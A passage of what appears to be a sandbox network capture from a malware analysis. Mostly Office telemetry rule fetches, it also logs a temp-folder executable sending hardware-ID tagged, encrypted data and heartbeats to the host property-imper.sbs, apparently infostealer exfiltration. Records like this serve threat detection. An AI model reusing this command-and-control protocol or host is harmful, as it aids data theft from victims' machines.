2024-11-23 17:22:34 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172234Z-178bfbc474bwlrhlhC1NYCy3kg00000004qg00000000fpf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 0ecd932e-001e-0066-5d4b-3c561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172234Z-15b8b599d88g5tp8hC1TEByx6w000000034g00000000fmuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49820	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:33 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BFVWR5V5QCU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: property-imper.sbs
2024-11-23 17:22:33 UTC	15331	OUT	Data Raw: 2d 2d 42 46 56 57 52 35 56 35 51 43 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 46 56 57 52 35 56 35 51 43 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 46 56 57 52 35 56 35 51 43 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 46 56 57 52 35 56 35 51 43 55 Data Ascii: --BFVWR5V5QCUContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--BFVWR5V5QCUContent-Disposition: form-data; name="pid"2--BFVWR5V5QCUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BFVWR5V5QCU
2024-11-23 17:22:33 UTC	2796	OUT	Data Raw: bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-11-23 17:22:34 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e8kmpj7qsof7lfipvbpmsfh3h0; expires=Wed, 19-Mar-2025 11:09:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8sjLNvjo84TxQ5ZMfsu4sEaDpE%2BCQNvupRQaTU9NxL4O0MlFn0LHOvsY6wB0ZyK4qjGT2IuZBAXPM%2Bw0G3YO5Dh8cQ8U9g5C6YyvkKQlC8HZor4wQbfzPEwgHNSloBg5aJEhNJM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d792dc1f42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2423&sent=16&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19084&delivery_rate=1646926&cwnd=227&unsent_bytes=0&cid=3b05061509fe3eff&ts=1270&x=0"
2024-11-23 17:22:34 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:33 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 226702aa-001e-000b-5c83-3d15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172234Z-174c587ffdf4zw2thC1TEBu340000000037g00000000m65u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:34 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:35 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172235Z-178bfbc474bscnbchC1NYCe7eg00000004wg00000000bxpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:22:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:36 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172237Z-15b8b599d88s6mj9hC1TEBur3000000002yg00000000keve x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:37 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:36 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172237Z-15b8b599d88f9wfchC1TEBm2kc00000003dg00000000521c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:22:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49829	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:36 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LU9LO1E9AW5Z50G6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8778 Host: property-imper.sbs
2024-11-23 17:22:36 UTC	8778	OUT	Data Raw: 2d 2d 4c 55 39 4c 4f 31 45 39 41 57 35 5a 35 30 47 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4c 55 39 4c 4f 31 45 39 41 57 35 5a 35 30 47 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 55 39 4c 4f 31 45 39 41 57 35 5a 35 30 47 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --LU9LO1E9AW5Z50G6Content-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--LU9LO1E9AW5Z50G6Content-Disposition: form-data; name="pid"2--LU9LO1E9AW5Z50G6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 17:22:37 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pmd03pv7auvi8nihn8pls9qi2e; expires=Wed, 19-Mar-2025 11:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9x0BRzebM5xRDlvJ2uNjAxTYXCtu3JhzgCcDBS1JzexY%2BZ96c75vWl482z2HWb4tHgbEIGSjYM6hMijwmvmvA8CTUUqsczoih3KYvL7vhQxOPlOdR07bzdtHHg7tZOC1nvbHg5A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7a57ae56a58-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2041&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9717&delivery_rate=1360671&cwnd=233&unsent_bytes=0&cid=a1d49767d0223e34&ts=1048&x=0"
2024-11-23 17:22:37 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5c8e7bca-d01e-0049-4f4b-3ce7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172237Z-15b8b599d88z9sc7hC1TEBkr4w000000038g00000000ku09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49830	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:37 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 17:22:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 17:22:38 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ni3hodtmdr577fcn1l930qlfri; expires=Wed, 19-Mar-2025 11:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgn7IXG%2FGe%2FdDVP%2FaOOCIpfwK974a%2F3Y1O6vc2PGPfkHSiLFLLf3P3yT9ayCZHabrHck6k8idmV5ALE9SRzolQ2YLkNfDj2Icowy%2B%2Bwww9Gh1HCcbeKAgQxuDtl2szCG0McXB%2F0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7a8dfd44397-EWR alt-svc: h3=":443"; 